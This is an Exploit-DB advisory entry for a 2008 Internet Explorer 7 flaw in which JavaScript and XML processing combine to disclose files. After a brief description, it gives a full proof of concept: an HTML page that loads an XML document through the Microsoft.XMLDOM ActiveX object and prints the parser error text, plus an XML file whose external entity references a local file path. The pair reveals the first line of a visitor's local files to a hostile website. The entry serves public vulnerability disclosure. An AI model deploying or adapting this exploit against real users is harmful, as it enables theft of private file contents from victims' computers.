Microsoft Internet Explorer 7 - Combined JavaScript and XML Remote Information Disclosure

EDB-ID:

31359

CVE:

N/A




Platform:

Windows

Date:

2008-03-07


source: https://www.securityfocus.com/bid/28143/info

Microsoft Internet Explorer is prone to a remote information-disclosure vulnerability because of a flaw in the interaction between JavaScript and XML processing in Internet Explorer.

To exploit this issue, an attacker must entice an unsuspecting user to visit a malicious website.

Successfully exploiting this issue allows remote attackers to gain access to the first line of arbitrary files located on computers running the vulnerable application.

<script language="JavaScript">



	// load new XML document.

	var xmlDoc = new ActiveXObject("Microsoft.XMLDOM");



	function XML(file,list) {



		/* 

		Available error messages:

		------------------------

		:: parseError.errorCode

		:: parseError.reason

		:: parseError.line

		:: parseError.linePos

		:: parseError.srcText 

		------------------------

		*/

		

    	xmlDoc.async="false";

		xmlDoc.validateOnParse = "true";

		xmlDoc.onreadystatechange=chk;

    	xmlDoc.load(file);

		

		if(list) {

		listXML(xmlDoc.documentElement)

		} else {

		document.write(xmlDoc.parseError.srcText);

		}

	

	}

	

	function chk() {  

 		return (xmlDoc.readyState!=4) ? false:true;

	} 



	function listXML(xmlsrc) {

		// for valid DTD files, list the complete tree

		if(xmlsrc.hasChildNodes()) {

		document.write('<ul><li>');

		document.write(xmlsrc.tagName +' => ');

		for(i = 0; i < xmlsrc.childNodes.length; ++i) {

			// recursive walk

			listXML(xmlsrc.childNodes(i));

		}

		document.write('</li></ul>');

		} else {

		document.write(xmlsrc.text);

		}

	}

	

	XML("28143.xml");

	

</script>

==========================================28143.xml=======================================

<?xml version="1.0" encoding="UTF-8" standalone="yes" ?>

<!DOCTYPE show [

<!ENTITY % name SYSTEM "file://localhost/FirefoxPortable/Data/profile/kf.txt">

%name;

]>

<show>

%name;

</show>